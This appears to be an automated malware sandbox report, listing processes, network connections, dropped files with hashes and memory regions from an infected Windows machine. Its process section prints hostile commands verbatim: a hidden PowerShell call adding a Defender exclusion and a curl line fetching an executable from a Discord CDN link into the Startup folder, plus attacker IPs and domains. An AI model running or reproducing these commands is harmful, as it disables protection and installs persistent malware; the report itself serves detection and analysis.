"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=7bd6e826e1.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff90a9146f8,0x7ff90a914708,0x7ff90a914718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,4699977935660414639,4923418975108073500,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4812 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,4699977935660414639,4923418975108073500,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5312 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,4699977935660414639,4923418975108073500,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5320 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,4699977935660414639,4923418975108073500,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5460 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2140,4699977935660414639,4923418975108073500,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5884 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2140,4699977935660414639,4923418975108073500,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5884 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,4699977935660414639,4923418975108073500,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5064 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,4699977935660414639,4923418975108073500,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4888 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\1006055001\babababa.exe

"C:\Users\Admin\AppData\Local\Temp\1006055001\babababa.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe"

C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe

C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\E961.tmp\E962.tmp\E963.bat C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -w hidden -c Add-MpPreference -ExclusionPath ""

C:\Windows\system32\curl.exe

curl --silent --output "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DataStore1.exe" "https://cdn.discordapp.com/attachments/1167169926193229925/1306213355966435360/decrypter.exe?ex=6735d97c&is=673487fc&hm=3f582970dc363d475b432b390a941fae5b9a6a3f9388809e2d818b6f1c1f06ff&"

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DataStore1.exe

"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DataStore1.exe"

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,4699977935660414639,4923418975108073500,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1048 /prefetch:2

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 14.160.190.20.in-addr.arpa udp
RU 185.215.113.43:80 185.215.113.43 tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 43.113.215.185.in-addr.arpa udp
RU 185.215.113.16:80 185.215.113.16 tcp
US 8.8.8.8:53 16.113.215.185.in-addr.arpa udp
US 8.8.8.8:53 frogmen-smell.sbs udp
US 172.67.174.133:443 frogmen-smell.sbs tcp
US 8.8.8.8:53 133.174.67.172.in-addr.arpa udp
US 172.67.174.133:443 frogmen-smell.sbs tcp
US 172.67.174.133:443 frogmen-smell.sbs tcp
US 172.67.174.133:443 frogmen-smell.sbs tcp
US 172.67.174.133:443 frogmen-smell.sbs tcp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
RU 185.215.113.206:80 185.215.113.206 tcp
US 8.8.8.8:53 206.113.215.185.in-addr.arpa udp
US 172.67.174.133:443 frogmen-smell.sbs tcp
RU 185.215.113.16:80 185.215.113.16 tcp
RU 31.41.244.11:80 31.41.244.11 tcp
US 8.8.8.8:53 11.244.41.31.in-addr.arpa udp
US 8.8.8.8:53 learn.microsoft.com udp
US 23.192.22.89:443 learn.microsoft.com tcp
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 3.26.192.23.in-addr.arpa udp
US 8.8.8.8:53 89.22.192.23.in-addr.arpa udp
US 8.8.8.8:53 wcpstatic.microsoft.com udp
US 8.8.8.8:53 js.monitor.azure.com udp
US 13.107.246.64:443 js.monitor.azure.com tcp
US 13.107.246.64:443 js.monitor.azure.com tcp
US 8.8.8.8:53 64.246.107.13.in-addr.arpa udp
US 8.8.8.8:53 browser.events.data.microsoft.com udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 13.89.178.26:443 browser.events.data.microsoft.com tcp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 26.178.89.13.in-addr.arpa udp
US 13.89.178.26:443 browser.events.data.microsoft.com tcp
US 13.89.178.26:443 browser.events.data.microsoft.com tcp
US 13.89.178.26:443 browser.events.data.microsoft.com tcp
US 13.89.178.26:443 browser.events.data.microsoft.com tcp
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 107.12.20.2.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
RU 185.215.113.43:80 185.215.113.43 tcp
US 8.8.8.8:53 cdn.discordapp.com udp
US 162.159.129.233:443 cdn.discordapp.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 172.217.169.67:80 c.pki.goog tcp
US 8.8.8.8:53 233.129.159.162.in-addr.arpa udp
US 8.8.8.8:53 67.169.217.172.in-addr.arpa udp
US 8.8.8.8:53 102.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 213.143.182.52.in-addr.arpa udp

Files

memory/1540-0-0x0000000000130000-0x0000000000443000-memory.dmp

memory/1540-1-0x00000000775E4000-0x00000000775E6000-memory.dmp

memory/1540-2-0x0000000000131000-0x0000000000199000-memory.dmp

memory/1540-3-0x0000000000130000-0x0000000000443000-memory.dmp

memory/1540-4-0x0000000000130000-0x0000000000443000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

MD5 5414a4ee71faf061656cf6e5799f6814
SHA1 131d118f0a2a8b8347f81dccf232c1126581a48e
SHA256 aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a
SHA512 ab30851216dde32626a62ecaeaab6289d2239a4b8547726fece82c3a744e6deee7ce9886cd1cf8d03ffb95d05a02386a6ecf583099cc803a87517ed20b5d3b87

memory/1620-17-0x0000000000330000-0x0000000000643000-memory.dmp

memory/1540-19-0x0000000000131000-0x0000000000199000-memory.dmp

memory/1540-18-0x0000000000130000-0x0000000000443000-memory.dmp

memory/1620-20-0x0000000000331000-0x0000000000399000-memory.dmp

memory/1620-21-0x0000000000330000-0x0000000000643000-memory.dmp

memory/1620-22-0x0000000000330000-0x0000000000643000-memory.dmp

memory/1620-23-0x0000000000330000-0x0000000000643000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1006051001\7bd6e826e1.exe

MD5 1679847fc3d6173b33c5bc2b2edca142
SHA1 8e76660cbe31c9ccfd9d43aebcff9e0c9150660f
SHA256 af2c8e421a858c0cf7f416d78c3beba9cb0d53808ab4492fe2a2a747aa7bb0e7
SHA512 c0ffa44a2b2ed196bf3022b053f7a6f2ec03299997535e1069e505e20446ee61d31dbd124fb9e4582c5f71d0fc39a84e6e72fc182716504e097b6a18f95de5b7

memory/720-39-0x00000000007C0000-0x0000000000ACB000-memory.dmp

memory/1620-40-0x0000000000331000-0x0000000000399000-memory.dmp

memory/1620-41-0x0000000000330000-0x0000000000643000-memory.dmp

memory/720-43-0x00000000007C1000-0x0000000000813000-memory.dmp

memory/720-42-0x0000000004E20000-0x0000000004E21000-memory.dmp

memory/720-44-0x00000000007C0000-0x0000000000ACB000-memory.dmp

memory/1620-45-0x0000000000330000-0x0000000000643000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1006052001\c60401dce1.exe

MD5 7496ab59ffb86bf1c658489ca7128933
SHA1 4b5aff93958a89d2778de9a17918b2df96cf8807
SHA256 bd7faaaf7173bc1fb80c8d60df889957e073407939b3f2aed28a62f61f8ad3d4
SHA512 050db57d5aedd88b1f38c0a1c216abd383f272225710e7ca3aae2f546d061aaddf57701f3e098b545f9a5a984d86750fcb90acede70e3b65f423c284964305cf

memory/720-55-0x00000000007C0000-0x0000000000ACB000-memory.dmp

memory/1620-54-0x0000000000330000-0x0000000000643000-memory.dmp

memory/1792-63-0x00000000006A0000-0x0000000000D5A000-memory.dmp

memory/1792-64-0x00000000006A0000-0x0000000000D5A000-memory.dmp

memory/720-66-0x00000000007C0000-0x0000000000ACB000-memory.dmp

memory/720-67-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-68-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-75-0x00000000007C0000-0x0000000000ACB000-memory.dmp

memory/720-97-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-99-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-98-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-96-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-95-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-94-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-93-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-101-0x0000000006630000-0x00000000068E6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe

MD5 2786f43899bd5d2876cd6591848f9b13
SHA1 2b5d7dec2e55d9bbc30deaa8b7dfcc9d2686e057
SHA256 ea665102e0e2ca7b45bb70ccaef20fc995403d09d75a820e8bbf969a161d5143
SHA512 aa50a04a07e45a74c373a92f00aa4c750b2fd35fc76c6b70a64d932b23e785d7193a7a6ac1cf8db6e51bb419e4c6ff77fdf85ddf7d7655e92600a667bc609be9

memory/720-103-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-102-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-100-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-92-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-91-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-89-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-88-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-87-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-86-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-85-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-84-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-83-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-82-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-81-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-80-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-79-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-77-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-76-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-90-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-78-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-74-0x00000000007C1000-0x0000000000813000-memory.dmp

memory/720-112-0x00000000007C0000-0x0000000000ACB000-memory.dmp

memory/2156-122-0x0000000000400000-0x00000000006B6000-memory.dmp

memory/2156-124-0x0000000000400000-0x00000000006B6000-memory.dmp

memory/2156-125-0x0000000000400000-0x00000000006B6000-memory.dmp

memory/1620-126-0x0000000000330000-0x0000000000643000-memory.dmp

memory/2028-128-0x0000000000330000-0x0000000000643000-memory.dmp

memory/2028-130-0x0000000000330000-0x0000000000643000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 d22073dea53e79d9b824f27ac5e9813e
SHA1 6d8a7281241248431a1571e6ddc55798b01fa961
SHA256 86713962c3bb287964678b148ee08ea83fb83483dff8be91c8a6085ca560b2a6
SHA512 97152091ee24b6e713b8ec8123cb62511f8a7e8a6c6c3f2f6727d0a60497be28814613b476009b853575d4931e5df950e28a41afbf6707cb672206f1219c4413

\??\pipe\LOCAL\crashpad_64_JPCSZOQIATKKOSHI

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 bffcefacce25cd03f3d5c9446ddb903d
SHA1 8923f84aa86db316d2f5c122fe3874bbe26f3bab
SHA256 23e7cbbf64c81122c3cb30a0933c10a320e254447771737a326ce37a0694d405
SHA512 761dae5315b35ec0b2fe68019881397f5d2eadba3963aba79a89f8953a0cd705012d7faf3a204a5f36008926b9f614980e333351596b06ce7058d744345ce2e7

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 dae615b778b2d76543b4857d8ddfb229
SHA1 3fb854e2a6a3048625e92219fc008d436a614ce3
SHA256 c2e4a80c17a1dd52ada55d3eb34a86d0a88cc438458d063119c889c05712f49d
SHA512 a485ae1250bb23e6640438fe99a9a298174ac93b3f3fbe154b4110bb7433acdbb67e80b86c5eff8f692370f53dd1a23b7eacc24ea25e7287f0f4f1c61ed2d5cb

memory/720-157-0x00000000007C0000-0x0000000000ACB000-memory.dmp

memory/2156-178-0x0000000000400000-0x00000000006B6000-memory.dmp

memory/2156-185-0x0000000000400000-0x00000000006B6000-memory.dmp

memory/1620-186-0x0000000000330000-0x0000000000643000-memory.dmp

memory/720-192-0x0000000006630000-0x00000000068E6000-memory.dmp

memory/720-217-0x00000000007C0000-0x0000000000ACB000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

MD5 6752a1d65b201c13b62ea44016eb221f
SHA1 58ecf154d01a62233ed7fb494ace3c3d4ffce08b
SHA256 0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd
SHA512 9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 c6932201b2ca819a36e4613c2acb0e40
SHA1 395eb31adb2a550bfb45de44db03a37bb4691c17
SHA256 9fcea3cf5b84065f74b8e3290e137e2e1728dcd5daae8a97251fb83d70d7f8be
SHA512 61986b4ea7e9bbbd169b80aa4e51cf9405d617d8caad03a490cc140a2b990882da880da13ec764d2c96aedfbe57b91cd5dfded471dd3b8b99c0a743aa245091b

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 261b529e1b96dfc5fda78772bd9d9ed4
SHA1 1fbade1efb2c79d5af0a3eac3cd44deef10b540b
SHA256 1dd1fffa79d334324f2e23069c78e491b5f1d107c1a7dc8aa6e38a57a5457f58
SHA512 f7094f138363f8226d2902185916ccea206533c8ef5e543006254a25306ed879acc62110b3097c9654c6f7f4f1b4e50533370fef18a5321294f046289c6618b8

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe586126.TMP

MD5 037a051f928fc984c9b8ba6e6d8babe2
SHA1 5802bc86bebf7dcaeb8bef5cce2bf4169078c621
SHA256 b66b86a1615cc8a14fd93d12d308cd0addbfe1db3913bd92fbcc6e605c7bb0d1
SHA512 3f16c6b9edd13f1f2a11b58c2670929046c854bf898928491439cfda64526451163c75462d7dab107bee4c27e59e3a06974fce0598ff6e20201f28189db3e508

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 a65f14df898742839cc7fa7d76faeb51
SHA1 0d9074f42d26e5d34001ad3c20b5c0aafe563faf
SHA256 177d77808904d41e2106afda07cd64c9716e157444a6fd3c786471b888ea1ff0
SHA512 f9031b2ff9092048a3abda0e2fdfe19643d8a8a540c2e1c6f7e5913ae80a7adcde50fe82cf02b2b1140427b482c3e55e09f69b5de3e70c3cf2fc8a30e1534684

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 7a8a5f02d43d07b04270ba8a9ea30bd1
SHA1 a3ea5bb9403b3c8295fd433455f5819b1ece20bb
SHA256 4fcbf72c13c461e56cb88562f2fe8fb49bbbff1368c9aad4d295ba2e0719724a
SHA512 b14761ba998593a5796ac33612c3de1ff121d5156cdeb92dac04f5a982bee0dae1f9921c01799873206760ecbd0e8aa8a090c2591faea657dd69e1b64af0ba40

C:\Users\Admin\AppData\Local\Temp\1006055001\babababa.exe

MD5 8fb77810c61e160a657298815346996e
SHA1 4268420571bb1a858bc6a9744c0742d6fd738a83
SHA256 a0840c581f8f1d606fdc43bc98bd386755433bf1fb36647ecf2165eea433ff66
SHA512 b0d0aea14bfbb5dfa17536b1669d85fc1325140f6a0176ae1c04870efa3adc902d5755f0df00d305f01120960e95bfc40c37c7519ec2827797ebaa95097cfeb2

memory/1832-340-0x0000000140000000-0x0000000140026000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe

MD5 488192b42924057d251cc3d5212dc451
SHA1 f0d20d9bc729ba74cb980e44789bf0e919f760fe
SHA256 7e92078811fd6bc34f2367cee3bfb122eaffdd995f6fd479ffae6d3aea50cb86
SHA512 1b4dc240c440c324fb0a7598e4c725f2b92bad0999fbd4ebffd8eec78e31e5887396e2721464bcecafa1c00703269edb24f6b94fbc4879373f4847840331e315

C:\Users\Admin\AppData\Local\Temp\E961.tmp\E962.tmp\E963.bat

MD5 3b09cde57cab3d2911a3a3bafe5c15f6
SHA1 f41ff9151d35db47938ea678ccb28ee7e538401b
SHA256 52bf27517f2d6fb4b5e872d0b7d87fa5327226560962c14c29bdd7d02fc74265
SHA512 510d3076d10682123bb90f4d7837b97a971c6896f0ff6433d9823b702ee0c75a912368e916abfecf8a92be1b458325b27e40da5f5d0ce42e31a77133f0a8f307

memory/4440-349-0x00000282E0CF0000-0x00000282E0D12000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gdnjo31j.3oi.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/720-357-0x0000000000330000-0x0000000000643000-memory.dmp

memory/720-359-0x0000000000330000-0x0000000000643000-memory.dmp

memory/1832-369-0x0000000140000000-0x0000000140026000-memory.dmp

memory/1832-373-0x0000000140000000-0x0000000140026000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 05592d6b429a6209d372dba7629ce97c
SHA1 b4d45e956e3ec9651d4e1e045b887c7ccbdde326
SHA256 3aacb982b8861c38a392829ee3156d05dfdd46b0ecb46154f0ea9374557bc0fd
SHA512 caa85bdccabea9250e8a5291f987b8d54362a7b3eec861c56f79cebb06277aa35d411e657ec632079f46affd4d6730e82115e7b317fbda55dacc16378528abaa

memory/4732-405-0x0000000000330000-0x0000000000643000-memory.dmp